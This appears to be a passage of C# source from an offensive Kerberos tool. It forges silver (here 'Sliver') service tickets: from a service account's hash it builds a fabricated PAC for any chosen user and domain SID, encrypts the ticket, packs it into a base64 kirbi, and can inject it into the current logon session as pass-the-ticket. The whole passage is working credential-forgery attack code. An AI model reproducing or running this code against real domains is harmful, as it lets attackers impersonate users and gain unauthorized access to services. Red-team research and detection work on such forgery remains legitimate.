myCred.MessageType = MessageType.KRB_CRED; KrbTicket[] tickets = { tgs }; myCred.Tickets = tickets; //https://github.com/dirkjanm/krbrelayx/blob/master/lib/utils/kerberos.py#L220 //No Encryption for KRB-CRED var encryptedData = new KrbEncryptedData() { Cipher = encCredPart.EncodeApplication() }; myCred.EncryptedPart = encryptedData; byte[] kirbiBytes = myCred.EncodeApplication().ToArray(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (ptt) { LSA.ImportTicket(kirbiBytes, new LUID()); } else { Console.WriteLine("[+] SliverTicket Ticket Kirbi:"); Console.WriteLine(" - {0}", kirbiString); } if (verbose) { Console.WriteLine("[*] Ticket Info:"); PrintFunc.PrintKirbi(kirbiString); } return(kirbiBytes); }
public static KrbTicket BuildSliver(string srvName, string srvHash, EncryptionType etype, string username, string realm, string service, string domainsid, bool ptt = false, bool verbose = false) { var now = DateTime.UtcNow.AddTicks(-(DateTime.Now.Ticks % TimeSpan.TicksPerSecond)); Console.WriteLine("\n[*] Building Sliver Ticket ..."); var srvCred = new Utils.KerberosHashCreds(srvName, srvHash, etype); var authData = Pac.generatePac(username, domainsid, realm, srvCred.CreateKey(), now); //Arbitrary session key var sessionKey = KrbEncryptionKey.Generate(EncryptionType.RC4_HMAC_NT); KrbEncTicketPart encTicket = new KrbEncTicketPart() { AuthTime = now, StartTime = now, //Ticket Expiration time (valid for 10 hours) EndTime = now.AddHours(10), RenewTill = now.AddDays(7), CRealm = realm, CName = new KrbPrincipalName() { Type = PrincipalNameType.NT_PRINCIPAL, Name = new[] { username } }, Flags = //TicketFlags.EncryptedPreAuthentication | TicketFlags.PreAuthenticated | TicketFlags.Initial | TicketFlags.Renewable | TicketFlags.Forwardable, AuthorizationData = authData, CAddr = null, Key = sessionKey, Transited = new KrbTransitedEncoding(), }; var encData = KrbEncryptedData.Encrypt( encTicket.EncodeApplication(), srvCred.CreateKey(), KeyUsage.Ticket); //encData.KeyVersionNumber = 2; string srvHost = null; if (srvName.Contains("$")) { srvHost = srvName.Replace("$", string.Empty) + "." + realm; } else { srvHost = srvName; } var sliverTicket = new KrbTicket() { TicketNumber = 5, Realm = realm, SName = new KrbPrincipalName { Type = PrincipalNameType.NT_SRV_INST, Name = new[] { service, srvHost } }, EncryptedPart = encData, }; if (verbose) { var de = sliverTicket.EncryptedPart.Decrypt (srvCred.CreateKey(), KeyUsage.Ticket, b => KrbEncTicketPart.DecodeApplication(b)); Console.WriteLine(" * [Decrypted SliverTicket Ticket]:"); PrintFunc.PrintTicketEnc(de); } Console.WriteLine("[*] Now you have a Sliver Ticket!"); var kirbiTGT = Kirbi.toKirbi(sliverTicket, srvName, srvHash, etype, service, ptt, verbose); Console.WriteLine("[+] Done! Now enjoy your ticket."); return(sliverTicket); }